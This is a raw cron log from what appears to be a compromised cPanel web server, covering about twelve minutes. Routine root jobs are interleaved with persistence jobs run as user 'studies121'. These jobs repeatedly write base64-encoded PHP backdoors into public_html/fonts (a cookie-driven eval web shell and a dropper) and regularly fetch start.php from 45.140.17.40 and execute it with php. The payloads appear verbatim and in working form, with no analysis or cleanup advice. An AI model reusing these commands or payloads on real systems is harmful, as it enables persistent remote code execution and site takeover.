Sep 20 08:27:01 ip-184-168-122-23 CROND[21345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:27:01 ip-184-168-122-23 CROND[21347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:27:01 ip-184-168-122-23 CROND[21349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:28:01 ip-184-168-122-23 CROND[21594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:28:01 ip-184-168-122-23 CROND[21596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:28:01 ip-184-168-122-23 CROND[21597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:28:01 ip-184-168-122-23 CROND[21598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:28:01 ip-184-168-122-23 CROND[21599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:29:01 ip-184-168-122-23 CROND[21909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:29:01 ip-184-168-122-23 CROND[21910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:29:01 ip-184-168-122-23 CROND[21913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:29:01 ip-184-168-122-23 CROND[21915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:30:02 ip-184-168-122-23 CROND[22215]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 20 08:30:02 ip-184-168-122-23 CROND[22219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:30:02 ip-184-168-122-23 CROND[22226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:30:02 ip-184-168-122-23 CROND[22228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:30:02 ip-184-168-122-23 CROND[22230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:30:02 ip-184-168-122-23 CROND[22231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:30:02 ip-184-168-122-23 CROND[22229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 08:30:02 ip-184-168-122-23 CROND[22227]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:30:02 ip-184-168-122-23 CROND[22234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:31:01 ip-184-168-122-23 CROND[22529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:31:01 ip-184-168-122-23 CROND[22533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:31:01 ip-184-168-122-23 CROND[22534]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 08:31:01 ip-184-168-122-23 CROND[22531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:31:01 ip-184-168-122-23 CROND[22532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:32:01 ip-184-168-122-23 CROND[22788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:32:01 ip-184-168-122-23 CROND[22790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:32:01 ip-184-168-122-23 CROND[22791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:32:01 ip-184-168-122-23 CROND[22792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:32:01 ip-184-168-122-23 CROND[22793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:33:01 ip-184-168-122-23 CROND[23043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:33:01 ip-184-168-122-23 CROND[23046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:33:01 ip-184-168-122-23 CROND[23045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:33:01 ip-184-168-122-23 CROND[23048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:34:01 ip-184-168-122-23 CROND[23284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:34:01 ip-184-168-122-23 CROND[23286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:34:01 ip-184-168-122-23 CROND[23288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:34:01 ip-184-168-122-23 CROND[23287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:34:01 ip-184-168-122-23 CROND[23289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:35:01 ip-184-168-122-23 CROND[23525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:35:01 ip-184-168-122-23 CROND[23527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:35:01 ip-184-168-122-23 CROND[23528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:35:01 ip-184-168-122-23 CROND[23529]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 08:35:01 ip-184-168-122-23 CROND[23530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:35:01 ip-184-168-122-23 CROND[23531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:35:01 ip-184-168-122-23 CROND[23534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:35:01 ip-184-168-122-23 CROND[23541]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 08:36:01 ip-184-168-122-23 CROND[23776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:36:01 ip-184-168-122-23 CROND[23780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:36:01 ip-184-168-122-23 CROND[23778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:36:01 ip-184-168-122-23 CROND[23779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:36:01 ip-184-168-122-23 CROND[23781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:37:01 ip-184-168-122-23 CROND[24030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:37:01 ip-184-168-122-23 CROND[24034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:37:01 ip-184-168-122-23 CROND[24033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:37:01 ip-184-168-122-23 CROND[24031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:38:01 ip-184-168-122-23 CROND[24393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:38:01 ip-184-168-122-23 CROND[24394]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:38:01 ip-184-168-122-23 CROND[24397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:38:01 ip-184-168-122-23 CROND[24398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:38:01 ip-184-168-122-23 CROND[24399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:39:01 ip-184-168-122-23 CROND[24653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:39:01 ip-184-168-122-23 CROND[24654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:39:01 ip-184-168-122-23 CROND[24655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:39:01 ip-184-168-122-23 CROND[24656]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
